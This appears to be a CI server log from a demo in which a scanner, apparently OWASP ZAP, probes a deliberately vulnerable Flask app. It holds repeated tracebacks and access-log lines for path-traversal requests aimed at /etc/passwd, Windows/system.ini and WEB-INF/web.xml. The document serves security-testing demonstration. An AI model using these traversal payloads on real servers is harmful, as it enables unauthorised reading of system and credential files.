  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system.ini'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=Windows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=%2Fetc%2Fpasswd HTTP/1.1" 200 -
[2017-10-18 08:05:09,564] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'Windowssystem.ini'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=Windows%2Fsystem.ini HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
[2017-10-18 08:05:09,566] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'Windows\\system.ini'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=Windows%5Csystem.ini HTTP/1.1" 500 -
[2017-10-18 08:05:09,569] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'etcpasswd'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=%2Fetc%2Fpasswd HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
[2017-10-18 08:05:09,571] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'................................etcpasswd'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=etc%2Fpasswd HTTP/1.1" 200 -
[2017-10-18 08:05:09,576] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'................................etcpasswd'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=WEB-INF%2Fweb.xml HTTP/1.1" 200 -
[2017-10-18 08:05:09,581] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'etcpasswd'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=etc%2Fpasswd HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=WEB-INF%5Cweb.xml HTTP/1.1" 200 -
[2017-10-18 08:05:09,585] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'WEB-INFweb.xml'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=WEB-INF%2Fweb.xml HTTP/1.1" 500 -
[2017-10-18 08:05:09,587] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'WEB-INF\\web.xml'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=WEB-INF%5Cweb.xml HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
[2017-10-18 08:05:09,593] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'WEB-INFweb.xml'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=%2FWEB-INF%2Fweb.xml HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
[2017-10-18 08:05:09,597] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'\\WEB-INF\\web.xml'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=%5CWEB-INF%5Cweb.xml HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
[2017-10-18 08:05:09,601] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'..WEB-INFweb.xml'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=..%2FWEB-INF%2Fweb.xml HTTP/1.1" 500 -
[2017-10-18 08:05:09,605] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'..\\WEB-INF\\web.xml'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=..%5CWEB-INF%5Cweb.xml HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
[2017-10-18 08:05:09,609] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'..WEB-INFweb.xml'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
[2017-10-18 08:05:09,618] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'\\..\\WEB-INF\\web.xml'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
[2017-10-18 08:05:09,629] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'....WEB-INFweb.xml'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 500 -
[2017-10-18 08:05:09,633] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'..\\..\\WEB-INF\\web.xml'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=%2F..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
[2017-10-18 08:05:09,637] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'....WEB-INFweb.xml'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=%2F..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=%5C..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
[2017-10-18 08:05:09,640] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'\\..\\..\\WEB-INF\\web.xml'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=%5C..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /?query=thishouldnotexistandhopefullyitwillnot HTTP/1.1" 200 -
[2017-10-18 08:05:09,648] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'thishouldnotexistandhopefullyitwillnot'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=thishouldnotexistandhopefullyitwillnot HTTP/1.1" 500 -
[2017-10-18 08:05:09,651] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'bonus'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=bonus HTTP/1.1" 500 -
[2017-10-18 08:05:09,656] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'bonus'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=%2Fbonus HTTP/1.1" 500 -
[2017-10-18 08:05:09,661] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'\\bonus'
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /bonus?name=%5Cbonus HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=c%3A%2FWindows%2Fsystem.ini HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=c%3A%5CWindows%5Csystem.ini HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /Windows/system.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 302 -
